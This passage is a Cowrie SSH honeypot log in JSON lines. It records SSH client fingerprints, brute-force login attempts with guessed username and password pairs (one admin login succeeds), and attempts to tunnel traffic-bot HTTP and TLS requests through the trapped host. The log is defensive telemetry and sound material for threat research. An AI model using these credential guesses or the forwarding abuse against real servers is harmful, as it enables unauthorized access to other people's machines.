{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:33.006064Z","src_ip":"91.92.40.36","session":"4b62f517b594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haddock","password":"Haddock","message":"login attempt [haddock/Haddock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:38.603206Z","src_ip":"91.92.40.36","session":"4b62f517b594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56042,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b01fc23ca71","protocol":"ssh","message":"New connection: 91.92.40.36:56042 (159.203.135.109:22) [session: 1b01fc23ca71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:40.124730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:40.568185Z","src_ip":"91.92.40.36","session":"1b01fc23ca71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:40.848532Z","src_ip":"91.92.40.36","session":"4b62f517b594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:41.565006Z","src_ip":"91.92.40.36","session":"1b01fc23ca71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":58841,"dst_ip":"10.17.0.5","dst_port":22,"session":"97356e4d16e4","protocol":"ssh","message":"New connection: 113.164.152.20:58841 (10.17.0.5:22) [session: 97356e4d16e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:44.676903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:44.680800Z","src_ip":"113.164.152.20","session":"97356e4d16e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:44.967322Z","src_ip":"113.164.152.20","session":"97356e4d16e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28432,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffc0fc748a80","protocol":"ssh","message":"New connection: 91.92.40.36:28432 (159.203.135.109:22) [session: ffc0fc748a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:45.609916Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:46.180333Z","src_ip":"113.164.152.20","session":"97356e4d16e4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:46.417061Z","src_ip":"91.92.40.36","session":"ffc0fc748a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:46.420425Z","src_ip":"91.92.40.36","session":"ffc0fc748a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"4321","message":"login attempt [es/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:46.500502Z","src_ip":"91.92.40.36","session":"1b01fc23ca71","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:46.594031Z","session":"97356e4d16e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:46.674158Z","session":"97356e4d16e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:46.940789Z","session":"edcbe2053c9b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:46.999528Z","src_ip":"23.175.50.47","session":"edcbe2053c9b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/19C57 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1206\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=MUMxIUJ6Jmp6ZE5kNGdSWQ%3D%3DU4xMNkjgu84NFB20%2BwSElG%2Bv7nV0JVPiLyFx4MqJ3%2BrV%2FRZJr5C1eBckFfl%2Fw2vBcpVEzLUg%2BFQOQWZzS0SiUcGyFAIJg32t%2FAZb1PRxDTBDXNBhf1VPWyXIXsbW4CYCZIYgOt05mNC39hJ76IH2M2VvdXgICmQaAsbDYEy1Z0dPlH4vE5%2BahBSC9Haok6YWxHxsQHho78DhQrFDs79xohJEg34%2FGX7tZD6f9G1mC1KS%2F9%2BnCxwQB7LoeLz%2B%2F5zloxVrDdD06IURcDT7dA8NBFGPoyr7Bjug1PcDB8VayTfOHnJGH2eBxJ5HUskBdc50JgfBnSgGeS96xzPiUBgn576uM8j%2Bc8NhuiDL7kAgYzMDTC3NBsvP1B7pP%2FSWeLmqesunlN%2F%2FGlqZoOYl5dOwCAk94%2BQwUE7xomc4WIpxnGKPo9z9o%2BGhKreITNE%2B3OH%2B0%2BJg%2Fx%2FnXWc6PmyQQexjVzlFNYP2zHl41anLXjv%2BSlXV6utBpX%2Fz0CuGJRwWohgSDSJDgcAGI%2BA1AoyMNsrDNGOHsAzC%2FYBiVwEjPARmIgOXe2s72iMKZUWAa3kvZPUn6BBIObSz6fUCYNDNc92nDn213nDA1GnEqYjKv%2FVtUUu3dbYbsfzJKnNjSo0WKkyIHHEEzhUJ%2FjAkxBcasy3XjDL%2FZR2CUZrwr9WZywJf%2FYoFGQYq9cS%2Fwf9%2F4PfsPX4bOfPtPU%2B3wEQ6r0IVfXxgWYTQIFVKP2ezVgz7MkXSzscqwBKuMQgC1mLZbsK7WRjfibkJ06Dwk3etfNLXM3YLdFFKbYnR%2BlbiMcmblly3CiPHxBSN%2BazM%2BU30eT%2FStZ19Rd%2FzdXMFcVM4fbFospiI1WdGqlZeN1Sc2wMtvavw2SfNpl%2FPZoctl%2BMvoxHD9gkqpZGlynYYqcr8fyI5xEDlDC8lmYcVWX1Rrc5JOaT0OXkEk4616nJalNsNxn8wyfNpEf4uJPXkV3nFsX3FWqADEOJ5iKsh%2FgRyeG5hGjBow3x0qbgZDtJ4jtNz%2FUl1fVzVCaF70G6zrEVPkG7adQxbgkK5MtqEoXqMLt8GzaGDDEAm69Ku7tGmX9Mw2zui5FN0'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/19C57 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1206\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=MUMxIUJ6Jmp6ZE5kNGdSWQ%3D%3DU4xMNkjgu84NFB20%2BwSElG%2Bv7nV0JVPiLyFx4MqJ3%2BrV%2FRZJr5C1eBckFfl%2Fw2vBcpVEzLUg%2BFQOQWZzS0SiUcGyFAIJg32t%2FAZb1PRxDTBDXNBhf1VPWyXIXsbW4CYCZIYgOt05mNC39hJ76IH2M2VvdXgICmQaAsbDYEy1Z0dPlH4vE5%2BahBSC9Haok6YWxHxsQHho78DhQrFDs79xohJEg34%2FGX7tZD6f9G1mC1KS%2F9%2BnCxwQB7LoeLz%2B%2F5zloxVrDdD06IURcDT7dA8NBFGPoyr7Bjug1PcDB8VayTfOHnJGH2eBxJ5HUskBdc50JgfBnSgGeS96xzPiUBgn576uM8j%2Bc8NhuiDL7kAgYzMDTC3NBsvP1B7pP%2FSWeLmqesunlN%2F%2FGlqZoOYl5dOwCAk94%2BQwUE7xomc4WIpxnGKPo9z9o%2BGhKreITNE%2B3OH%2B0%2BJg%2Fx%2FnXWc6PmyQQexjVzlFNYP2zHl41anLXjv%2BSlXV6utBpX%2Fz0CuGJRwWohgSDSJDgcAGI%2BA1AoyMNsrDNGOHsAzC%2FYBiVwEjPARmIgOXe2s72iMKZUWAa3kvZPUn6BBIObSz6fUCYNDNc92nDn213nDA1GnEqYjKv%2FVtUUu3dbYbsfzJKnNjSo0WKkyIHHEEzhUJ%2FjAkxBcasy3XjDL%2FZR2CUZrwr9WZywJf%2FYoFGQYq9cS%2Fwf9%2F4PfsPX4bOfPtPU%2B3wEQ6r0IVfXxgWYTQIFVKP2ezVgz7MkXSzscqwBKuMQgC1mLZbsK7WRjfibkJ06Dwk3etfNLXM3YLdFFKbYnR%2BlbiMcmblly3CiPHxBSN%2BazM%2BU30eT%2FStZ19Rd%2FzdXMFcVM4fbFospiI1WdGqlZeN1Sc2wMtvavw2SfNpl%2FPZoctl%2BMvoxHD9gkqpZGlynYYqcr8fyI5xEDlDC8lmYcVWX1Rrc5JOaT0OXkEk4616nJalNsNxn8wyfNpEf4uJPXkV3nFsX3FWqADEOJ5iKsh%2FgRyeG5hGjBow3x0qbgZDtJ4jtNz%2FUl1fVzVCaF70G6zrEVPkG7adQxbgkK5MtqEoXqMLt8GzaGDDEAm69Ku7tGmX9Mw2zui5FN0'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:47.002958Z","src_ip":"23.175.50.47","session":"edcbe2053c9b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:47.475212Z","src_ip":"113.164.152.20","session":"97356e4d16e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.4090.146 Safari/537.36 OPR/55.0.4395.46\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZnJwVEJAeCFZbXF7ME03Wg%3D%3D2uULSSDJpUq9%2Fr7DHywg3dZ5X0B3vr0rG%2FHmSrhih26bOjlBNkygLf7GhuniCpsuL47qWZgSU297ZbVz0sVLgp%2Fa%2FVzbQncddpY3hUdfbOh%2FjgjYH9LG6SqOL9BtwnR%2Fm9ieGqtLkirECbCsWgI97NtYqJ58Jf0yYpayaQqBMNAAUiiHbGGnEip3EYz5ta%2BBs3%2FqLUpsSt%2BLF5s%2FvEca3jxKdNCEP6E48SAJhzK%2BJnR74pCXGemShNlESlWBrgSNSc%2FNsBuxjIslNxfXl4Ut9Fnc%2BrHhTdFppicG8wE%2FrF4sSpKgxiQ7HDXhihCxYNcp6TbwTwHbDwXfViNbcpYXlbk1KNVHnAPYyvWl9t8edICj4AfRPwycBQNzXGSZ6C7MDEi2WU9%2FsWm7XVC99VAq4Moxy4dahsZZBPYVo%2Fh%2BZQc6Dtmk7peUL%2FrIlRgBnaZBoDbsNx9GOKnPkEBqYpKa%2FQIZbhJsCQIcPyIwsP9JEQbzMSqn9%2FB10y%2FKZd77zO9ksv%2Bd3QYXXQ%2BCvTF%2Bs8TMvijlecsqwKhq3g%2Bnr%2FbxwYasC7qagSOPEWgeGNrgGNG6crf4DBgN%2BspfOJrPX0A15mquPQQLwp9SQqT6FEwM6pahQWsXYSp%2BdaqTXcYmp64ftf7TWV27d8rZ6ToLQz42D2Y%2BMWxsOEFuHmcWkFUUgkXPu%2FC5BiUG59xrMukfnIEp0q4ot6mBZo587uFSc8LSS%2BPxn7nx3iDh9tDE%2Bw4bEuQmOOnU0XyIQbrjVoFMlZKSRFeoBNbPIWPOemFs4WFDHLj1HngtZuEqoBDha6oTWWoUfHLvwz8Qu39xV%2BKEZRTudsN3WEAgtRc7XWipxR5RlFF3xNCf7L2t%2FXvDLnUWDAdKNpf%2FPVP60fbcxcHluDJ0rRA8A2o1dXSqRAED470ZEfSQgZHj6q3HWHYvRWq6CJzIS4XZV%2FPWRMdvR117KKtwmXtrGa9AbEm9zjaiNU%2FY9ZUkzr6siy3u83HSTKdmpoS4w10sXRIZMXDA4eXCyEdfKhtKkXSi64MdReT6yHN2S7k9j2j%2FAFTTUUA2pQnOM23%2FEgswgQTtO2DprcXb86qg'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.4090.146 Safari/537.36 OPR/55.0.4395.46\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZnJwVEJAeCFZbXF7ME03Wg%3D%3D2uULSSDJpUq9%2Fr7DHywg3dZ5X0B3vr0rG%2FHmSrhih26bOjlBNkygLf7GhuniCpsuL47qWZgSU297ZbVz0sVLgp%2Fa%2FVzbQncddpY3hUdfbOh%2FjgjYH9LG6SqOL9BtwnR%2Fm9ieGqtLkirECbCsWgI97NtYqJ58Jf0yYpayaQqBMNAAUiiHbGGnEip3EYz5ta%2BBs3%2FqLUpsSt%2BLF5s%2FvEca3jxKdNCEP6E48SAJhzK%2BJnR74pCXGemShNlESlWBrgSNSc%2FNsBuxjIslNxfXl4Ut9Fnc%2BrHhTdFppicG8wE%2FrF4sSpKgxiQ7HDXhihCxYNcp6TbwTwHbDwXfViNbcpYXlbk1KNVHnAPYyvWl9t8edICj4AfRPwycBQNzXGSZ6C7MDEi2WU9%2FsWm7XVC99VAq4Moxy4dahsZZBPYVo%2Fh%2BZQc6Dtmk7peUL%2FrIlRgBnaZBoDbsNx9GOKnPkEBqYpKa%2FQIZbhJsCQIcPyIwsP9JEQbzMSqn9%2FB10y%2FKZd77zO9ksv%2Bd3QYXXQ%2BCvTF%2Bs8TMvijlecsqwKhq3g%2Bnr%2FbxwYasC7qagSOPEWgeGNrgGNG6crf4DBgN%2BspfOJrPX0A15mquPQQLwp9SQqT6FEwM6pahQWsXYSp%2BdaqTXcYmp64ftf7TWV27d8rZ6ToLQz42D2Y%2BMWxsOEFuHmcWkFUUgkXPu%2FC5BiUG59xrMukfnIEp0q4ot6mBZo587uFSc8LSS%2BPxn7nx3iDh9tDE%2Bw4bEuQmOOnU0XyIQbrjVoFMlZKSRFeoBNbPIWPOemFs4WFDHLj1HngtZuEqoBDha6oTWWoUfHLvwz8Qu39xV%2BKEZRTudsN3WEAgtRc7XWipxR5RlFF3xNCf7L2t%2FXvDLnUWDAdKNpf%2FPVP60fbcxcHluDJ0rRA8A2o1dXSqRAED470ZEfSQgZHj6q3HWHYvRWq6CJzIS4XZV%2FPWRMdvR117KKtwmXtrGa9AbEm9zjaiNU%2FY9ZUkzr6siy3u83HSTKdmpoS4w10sXRIZMXDA4eXCyEdfKhtKkXSi64MdReT6yHN2S7k9j2j%2FAFTTUUA2pQnOM23%2FEgswgQTtO2DprcXb86qg'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:47.480875Z","src_ip":"113.164.152.20","session":"97356e4d16e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:47.484808Z","src_ip":"113.164.152.20","session":"97356e4d16e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r8T\\xa3nPjK\\x8f\\xb1A\\xc4\\xbdh7\\x92\\x8at\\xad>j\\x8c\\x80\\x10O\\x13|TT\\x01Y0 \\x86M\\x1d\\x88\\xb4\\xcd\\xb3K\\x04;V\\x80?\\xf7x\\xda\\xcc\\xab\\xa0\\x8e\\tV,,B\\xaf\\xa1\\x8e\\xce\\xc6\\x0c\\n\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 